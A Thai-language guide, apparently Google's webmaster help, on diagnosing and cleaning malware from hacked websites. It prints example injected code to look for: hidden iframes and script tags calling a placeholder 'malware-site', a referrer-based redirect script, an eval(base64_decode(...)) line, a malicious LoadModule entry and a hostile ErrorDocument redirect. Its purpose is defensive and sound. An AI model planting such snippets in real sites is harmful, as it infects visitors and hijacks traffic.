มัลแวร์คือซอฟต์แวร์หรือแอปพลิเคชันบนอุปกรณ์เคลื่อนที่ ซึ่งออกแบบมาเพื่อสร้างความเสียหายแก่คอมพิวเตอร์ อุปกรณ์เคลื่อนที่ ซอฟต์แวร์ที่ทำงานอยู่ หรือผู้ใช้ซอฟต์แวร์นั้นๆ ดูข้อมูลเพิ่มเติมเกี่ยวกับมัลแวร์ได้ที่มัลแวร์และซอฟต์แวร์ไม่พึงประสงค์
หากเว็บไซต์มีมัลแวร์ ผู้ใช้มักจะเห็นคำเตือน"เว็บไซต์นี้อาจเป็นอันตรายต่อคอมพิวเตอร์ของคุณ" แสดงในผลการค้นหาหรือในหน้าคั่นระหว่างหน้าที่เบราว์เซอร์แสดงเมื่อผู้ใช้พยายามเข้าชมเว็บไซต์ของคุณ ดังตัวอย่างต่อไปนี้
โดยต้องใช้สิ่งต่างๆ ดังนี้
- สิทธิ์ของผู้ดูแลระบบ Shell หรือเทอร์มินัลในการเข้าถึงเซิร์ฟเวอร์ของเว็บไซต์ ได้แก่ เว็บ ฐานข้อมูล และไฟล์
- ความรู้เกี่ยวกับคำสั่ง Shell หรือเทอร์มินัล
- ความสามารถในการเรียกใช้การค้นหา SQL ในฐานข้อมูล
การเตรียมพร้อม
- ลงชื่อสมัครใช้ Search Console และยืนยันการเป็นเจ้าของเว็บไซต์ที่ถูกแฮ็กตามที่อธิบายไว้ Search Console มีตัวอย่างหน้าเว็บที่ได้รับผลกระทบ ซึ่งจะช่วยให้ค้นหาและแก้ไขปัญหาการแฮ็กด้วยมัลแวร์ได้ง่ายขึ้นมาก นอกจากนี้ คุณจะได้รับคำเตือนเมื่อระบบตรวจพบว่าเว็บไซต์ได้รับผลกระทบจากมัลแวร์หลายประเภทหรือการแฮ็กอื่นๆ
ดูหน้าการวินิจฉัยของ Google Safe Browsing เพื่อดูข้อมูลสาธารณะเกี่ยวกับเว็บไซต์ที่อาจเป็นอันตรายต่อผู้ใช้หรือไม่ คุณดูสถานะข้อมูลของหน้าเว็บหรือเว็บไซต์ได้ที่ URL ที่คล้ายกับตัวอย่างต่อไปนี้
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
ตัวอย่างเช่นhttps://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
อาจเป็น URL ของหน้าเว็บที่เฉพาะเจาะจง (http://example.com/badpage
) หรือทั้งเว็บไซต์ (example.com)หลีกเลี่ยงการใช้เบราว์เซอร์เพื่อดูหน้าในเว็บไซต์ เนื่องจากมัลแวร์มักจะแพร่กระจายโดยใช้ช่องโหว่ของเบราว์เซอร์ การเปิดหน้าเว็บที่ติดมัลแวร์ในเบราว์เซอร์อาจทำให้คอมพิวเตอร์เสียหายได้ โปรดใช้ cURL หรือ Wget ในการส่งคำขอ HTTP (เช่น ขอดึงข้อมูลหน้าเว็บ) เว้นแต่วิธีการวินิจฉัยจะบอกให้เข้าถึงหน้าเว็บในเบราว์เซอร์โดยตรง
เครื่องมือที่มีให้ใช้งานฟรีเหล่านี้มีประโยชน์ในการวิเคราะห์การเปลี่ยนเส้นทาง และยังให้ความยืดหยุ่นในการรวมข้อมูล URL ที่มาหรือ User Agent การใส่ URL ที่มาหรือ user-agent ที่เฉพาะเจาะจงจะช่วยในการเลียนแบบแฮ็กเกอร์ เนื่องจากแฮ็กเกอร์อาจแสดงเฉพาะเนื้อหาที่เป็นอันตรายต่อผู้ใช้โดยใช้ user-agent หรือ URL ที่มาที่เฉพาะเจาะจงเพื่อกำหนดเป้าหมายไปยัง "ผู้ที่มีตัวตนอยู่จริง" ได้มากขึ้น รวมทั้งหลีกเลี่ยงการตรวจจับจากเจ้าของเว็บไซต์และโปรแกรมสแกนมัลแวร์
`curl -v --referer "http://www.google.com" <your-url>`
ต่อไปนี้คือตัวอย่างที่ระบุทั้ง User Agent และ Referrer
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
เราขอแนะนำให้ดึงข้อมูลหน้าเว็บที่มีและไม่มี --referer "https://www.google.com"
เนื่องจากมัลแวร์บางรายการจะเปิดใช้งานก็ต่อเมื่อผู้ใช้มาจากผลการค้นหาของ Google Search
สร้างเอกสารสำหรับบันทึกสิ่งที่พบในขั้นตอนนี้ เอกสารจะระบุ (เป็นอย่างน้อย) ชื่อและตำแหน่งของไฟล์แต่ละไฟล์ที่เสียหาย รวมถึงหมายเหตุเกี่ยวกับวิธีติดเชื้อ และใช้เป็นพื้นฐานในการล้างและดูแลรักษาเว็บไซต์
ดูวิดีโอก่อนหน้านี้ในหน้านี้เพื่อดูวิธีการทำงานของมัลแวร์และวิธีรักษาความปลอดภัยในระหว่างการตรวจสอบมัลแวร์
การวินิจฉัย
ระบุมัลแวร์ที่ส่งผลกระทบต่อเว็บไซต์ของคุณ โดยทำดังนี้
- เปิดรายงานปัญหาด้านความปลอดภัยของเว็บไซต์ใน Search Console ขยายคำอธิบายคำเตือนมัลแวร์เพื่อดูรายการตัวอย่างหน้าเว็บที่ได้รับผลกระทบ โปรดทราบว่ารายการนี้ไม่ใช่รายการที่ครอบคลุมทั้งหมด คุณอาจไม่เห็นหน้าตัวอย่างของมัลแวร์บางประเภทในเว็บไซต์
- ทดสอบหน้าตัวอย่างเพื่อหามัลแวร์ประเภทต่อไปนี้
มัลแวร์การกำหนดค่าเซิร์ฟเวอร์ (การเปลี่ยนเส้นทางที่ไม่พึงประสงค์)
แฮ็กเกอร์ได้แฮ็กเว็บไซต์และเปลี่ยนเส้นทางผู้เข้าชมจากเว็บไซต์ที่ดีของคุณไปยังเว็บไซต์โจมตีมัลแวร์ ด้วยการแก้ไขไฟล์การกำหนดค่าของเซิร์ฟเวอร์ โดยไฟล์นี้จะอนุญาตให้ผู้ดูแลระบบของเว็บไซต์ระบุการเปลี่ยนเส้นทาง URL สำหรับหน้าเว็บบางหน้าหรือไดเรกทอรีบนเว็บไซต์ได้ เช่น ในเซิร์ฟเวอร์ Apache จะหมายถึงไฟล์ .htaccess
และ httpd.conf
การวินิจฉัย
ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย การตอบสนองจากหน้าที่ติดมัลแวร์ประเภท "การกำหนดค่าเซิร์ฟเวอร์" อาจมีส่วนหัวต่อไปนี้
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
ระบุไฟล์ที่ได้รับผลกระทบ
ลงชื่อเข้าใช้เซิร์ฟเวอร์ผ่านการเข้าถึง Shell หรือเทอร์มินัล (เว็บไซต์อาจออฟไลน์ก็ได้หากคุณต้องการ) และตรวจสอบไฟล์การกําหนดค่าเซิร์ฟเวอร์ที่เกี่ยวข้อง ไฟล์การกำหนดค่าเซิร์ฟเวอร์ที่ถูกแฮ็กอาจมีมากกว่า 1 ไฟล์ในเว็บไซต์ ให้ตรวจสอบคำสั่งอันไม่พึงประสงค์ของไฟล์เหล่านี้ เช่น การเปลี่ยนเส้นทางไปยังเว็บไซต์ที่ไม่รู้จัก เช่น ในไฟล์ .htaccess
` คุณอาจเห็นการเปลี่ยนเส้นทางที่มีลักษณะดังนี้
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
การแทรก SQL
แฮ็กเกอร์ได้แฮ็กฐานข้อมูลของเว็บไซต์ เช่น แฮ็กเกอร์อาจเขียนโปรแกรมแทรกโค้ดที่เป็นอันตรายลงในบันทึกทุกรายการของตารางฐานข้อมูล เพื่อที่ว่าเมื่อเซิร์ฟเวอร์โหลดหน้าที่จำเป็นต้องใช้ข้อมูลจากฐานข้อมูล จะมีการฝังโค้ดที่เป็นอันตรายในเนื้อหาของหน้าและอาจเป็นอันตรายต่อผู้เข้าชมเว็บไซต์
การวินิจฉัย
- เรียกใช้คำค้นหาบางคำใน URL ที่ได้รับผลกระทบในบรรทัดคำสั่ง และตรวจสอบการตอบสนองสำหรับคำโจมตี SQL เช่น "iframe" หรือ "eval"
ลงชื่อเข้าใช้เซิร์ฟเวอร์ฐานข้อมูลหรือดูฐานข้อมูลผ่านเครื่องมือ เช่น phpMyAdmin หากคุณใช้ Wget หรือ cURL ให้ลองเปรียบเทียบความเสียหายที่พบในซอร์สโค้ดของหน้าผ่าน Wget หรือ cURL กับบันทึกฐานข้อมูลของจริง ตัวอย่างเช่น หากพบว่าหน้าเว็บมี iframe ที่อันตราย คุณสามารถใช้การค้นหา SQL เพื่อค้นหาโค้ด iframe เช่น
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
คุณอาจต้องตรวจสอบบันทึกฐานข้อมูลและไฟล์ข้อผิดพลาดบนเซิร์ฟเวอร์เพื่อหากิจกรรมที่ผิดปกติ เช่น คำสั่ง SQL ที่ไม่คาดคิดซึ่งดูผิดปกติสำหรับผู้ใช้ หรือหาข้อผิดพลาดทั่วไป
แก้ไขปัญหา
อัปเดตบันทึกฐานข้อมูลแต่ละรายการที่ติดมัลแวร์ หรือคืนค่าข้อมูลสำรองของฐานข้อมูลที่ใช้งานล่าสุด
การแทรกโค้ด
หน้าในเว็บไซต์ถูกแก้ไขให้มีโค้ดที่เป็นอันตราย เช่น iframe เปลี่ยนเส้นทางไปยังเว็บไซต์โจมตีมัลแวร์
การวินิจฉัย
ไปที่ URL ตัวอย่างบางรายการที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัยด้วย cURL หรือ wGet และตรวจสอบโค้ดที่น่าสงสัย โค้ดที่แทรกอาจมีได้หลายประเภทและอาจหาได้ยาก โดยอาจค้นหาคำว่า "iframe" เพื่อค้นหาโค้ด iframe คีย์เวิร์ดที่เป็นประโยชน์อื่นๆ คือ "script", "eval" และ "unescape" ตัวอย่างเช่น หากต้องการค้นหาไฟล์ทั้งหมดสำหรับ "iframe" ในระบบที่ใช้ Unix ให้ใช้คำสั่งต่อไปนี้
$grep -irn "iframe" ./ | less</pre>
ตัวอย่างรูปแบบของมัลแวร์ที่พบได้ทั่วไปซึ่งควรระวังมีดังนี้
iframe ที่โหลดเว็บไซต์ที่เป็นอันตราย
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript หรือภาษาสคริปต์อื่นที่เรียกใช้สคริปต์จากเว็บไซต์โจมตี
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
การเขียนสคริปต์ที่เปลี่ยนเส้นทางเบราว์เซอร์ไปยังเว็บไซต์โจมตี
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
โค้ดที่เป็นอันตรายที่สร้างความสับสนเพื่อหลีกเลี่ยงการตรวจพบ
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
ไฟล์ออบเจ็กต์ที่แชร์ซึ่งออกแบบมาเพื่อสุ่มเขียนโค้ดที่เป็นอันตรายลงในสคริปต์ที่เพิ่มขึ้นมา
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
เทมเพลตข้อผิดพลาดที่เป็นอันตราย
เทมเพลตที่ใช้สำหรับข้อความแสดงข้อผิดพลาด เช่น 404 ไม่พบไฟล์ ซึ่งมีการกำหนดค่าเพื่อแพร่กระจายมัลแวร์ ด้วยวิธีนี้ ผู้โจมตีจะเรียกใช้การโจมตีใน URL ที่ไม่มีอยู่ในเว็บไซต์ของคุณได้
การวินิจฉัย
ขอหน้าในเว็บไซต์ที่ไม่มีอยู่ หรือที่แสดงข้อผิดพลาดประเภทอื่น และตรวจสอบการตอบสนองเพื่อดูว่ามาจากเว็บไซต์อื่นหรือมีมัลแวร์หรือไม่
แก้ไขปัญหา
ลงชื่อเข้าใช้เว็บเซิร์ฟเวอร์และค้นหาไฟล์การกําหนดค่าเซิร์ฟเวอร์สําหรับคําสั่งหน้าแสดงข้อผิดพลาด เช่น เทมเพลตข้อผิดพลาดสำหรับเว็บเซิร์ฟเวอร์ Apache อาจประกาศไว้ในไฟล์ .htaccess
ได้ ตัวอย่างรายการไฟล์ .htaccess
ที่ดึงหน้าแสดงข้อผิดพลาด 404 จากเว็บไซต์ที่เป็นอันตรายมีดังนี้
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
เมื่อพร้อมที่จะทำความสะอาดเว็บไซต์ คุณอาจแทนที่ไฟล์ .htaccess
ด้วยข้อมูลสำรองที่ใช้งานได้ล่าสุด หรือจะลบคำสั่ง ErrorDocument ไม่พึงประสงค์ในไฟล์ .htaccess
ที่มีอยู่ก็ได้ อย่าลืมทำความสะอาดไฟล์ที่มีข้อผิดพลาดด้วยหากไฟล์ดังกล่าวอยู่บนเว็บไซต์ของคุณ สุดท้าย ให้รีสตาร์ทเว็บเซิร์ฟเวอร์เพื่อตรวจสอบว่าการเปลี่ยนแปลงทั้งหมดมีผล
ทรัพยากรที่โหลดจากเว็บไซต์ที่ถูกบุกรุกหรือเป็นอันตราย {compromised-resources}
เว็บไซต์ของคุณใช้เนื้อหาหรือแหล่งข้อมูลจากเว็บไซต์ที่มักมีเนื้อหาที่เป็นอันตราย ซึ่งอาจเป็นไฟล์ JavaScript, รูปภาพ หรือไฟล์อื่นๆ ด้วยเหตุนี้ ระบบจะแจ้งว่าเว็บไซต์ของคุณมีมัลแวร์ที่โหลดจากเว็บไซต์อื่น
การวินิจฉัย
ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย
แก้ไขปัญหา
- ยืนยันปัญหาโดยการเรียกดู URL ตัวอย่างบางส่วนที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัยใน Search Console คุณควรเห็นคำเตือนของเบราว์เซอร์
- คำเตือนของเบราว์เซอร์จะแจ้งโดเมนของเนื้อหาที่เป็นปัญหาให้คุณทราบ ให้นำการอ้างอิงไปยังเว็บไซต์ที่มีการแจ้งทั้งหมดออก ซึ่งแสดงไว้ในคำเตือนของเบราว์เซอร์ หากมีเนื้อหาจากเว็บไซต์ที่มีการแจ้งว่าไม่เหมาะสมรวมอยู่โดยที่คุณไม่ทราบ ปัญหาดังกล่าวอาจร้ายแรงกว่าที่คิด เว็บไซต์ของคุณมีแนวโน้มสูงว่าจะถูกบุกรุก และคุณควรตรวจสอบเว็บไซต์เพื่อหาการแฮ็กและช่องโหว่อื่นๆ ต่อไป
- หากคุณจงใจรวมเนื้อหาจากเว็บไซต์ที่ถูกต้องซึ่งถูกแจ้งว่าไม่เหมาะสม และต้องการรวมเนื้อหานั้นอีกครั้งหลังจากที่เว็บไซต์ดังกล่าวได้รับการแก้ไขแล้ว คุณสามารถตรวจสอบสถานะของเว็บไซต์ที่แจ้งว่าไม่เหมาะสมได้โดยใช้หน้าการวินิจฉัยของ Google Safe Browsing สำหรับเว็บไซต์นั้น (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} เจ้าของเว็บไซต์ที่ถูกต้องตามกฎหมายมักจะทำความสะอาดเว็บไซต์ได้อย่างรวดเร็ว
การตรวจสอบเพิ่มเติม
ถัดไป ให้ตรวจสอบไฟล์หรือการเปลี่ยนแปลงที่เป็นอันตรายเพิ่มเติมในระบบ แฮ็กเกอร์อาจแก้ไขหน้าเว็บหรือระเบียนฐานข้อมูลที่มีอยู่ สร้างหน้าใหม่ที่เป็นสแปมทั้งหมด เขียนฟังก์ชันที่แสดงสแปมในหน้าเว็บที่สะอาด หรือทิ้ง "ประตูหลัง" ไว้ซึ่งช่วยให้แฮ็กเกอร์เข้าสู่เว็บไซต์ของคุณอีกครั้ง หรือแทรกโค้ดที่เป็นอันตรายซึ่งคุณนำออกแล้วกลับเข้าไปใหม่
หากเว็บไซต์ออนไลน์อยู่ ให้พิจารณาปิดเว็บไซต์ไว้ระหว่างการตรวจสอบนี้
หากคุณมีข้อมูลสํารองที่ใช้งานได้ของเว็บไซต์ ให้ตรวจสอบว่าไฟล์ใดสร้างขึ้นหรือแก้ไขตั้งแต่มีการสํารองข้อมูล และตรวจสอบไฟล์เหล่านั้น ในระบบที่ใช้ Unix คุณสามารถใช้คำสั่งต่อไปนี้เพื่อค้นหาไฟล์ใหม่
diff -qr <current-directory> <backup-directory>
เช่น
diff -qr www/ backups/full-backup-20120124/
นอกจากนี้
md5sum <current-page> <backup-page>
เช่น
md5sum www/page.html backups/full-backup-20120124/page.html
ตรวจสอบบันทึกเซิร์ฟเวอร์ การเข้าถึง และข้อผิดพลาดเพื่อหากิจกรรมที่น่าสงสัย เช่น ความพยายามเข้าสู่ระบบที่ไม่สำเร็จ ประวัติคำสั่ง (โดยเฉพาะในฐานะรูท) และการสร้างบัญชีผู้ใช้ที่ไม่รู้จัก โปรดทราบว่าแฮ็กเกอร์อาจแก้ไขบันทึกเหล่านี้เพื่อวัตถุประสงค์ของตนเอง ตัวอย่างบางส่วนแสดงอยู่ในวิดีโอระบุช่องโหว่
ตรวจสอบไฟล์การกําหนดค่าเพื่อหาการเปลี่ยนเส้นทาง โดยทั่วไปไฟล์การกําหนดค่าจะมีชื่อว่า .htaccess
และ httpd.conf
แฮ็กเกอร์มักสร้างการเปลี่ยนเส้นทางแบบมีเงื่อนไขตาม User Agent, ช่วงเวลาของวัน หรือ URL ที่มา หากต้องการอัปเดตไฟล์การกําหนดค่า คุณอาจต้องรีสตาร์ทเซิร์ฟเวอร์เพื่อให้การเปลี่ยนแปลงมีผล
ตรวจสอบสิทธิ์ของโฟลเดอร์และไฟล์ที่ผ่อนปรนมากเกินไป แฮ็กเกอร์จะแทรกแซงสิทธิ์ เนื่องจากหากเจ้าของเว็บไซต์ไม่ตรวจพบสิทธิ์ที่ผ่อนปรน แฮ็กเกอร์จะมีวิธีเข้าสู่เว็บไซต์อีกครั้ง ไฟล์ที่มีขนาดใหญ่กว่า 644 (rw-r--r--)
และโฟลเดอร์ที่มีขนาดใหญ่กว่า 755 (rwxr-xr-x)
อาจทำให้เกิดปัญหาด้านความปลอดภัย ตรวจสอบว่าการให้สิทธิ์อย่างหละหลวมนั้นเกินความจำเป็นไหม ในระบบที่ใช้ Unix ให้ลองทำดังนี้
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
และ:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
หากคุณมีฐานข้อมูล ให้ตรวจสอบระเบียนทีละระเบียนโดยใช้เครื่องมืออย่าง phpMyAdmin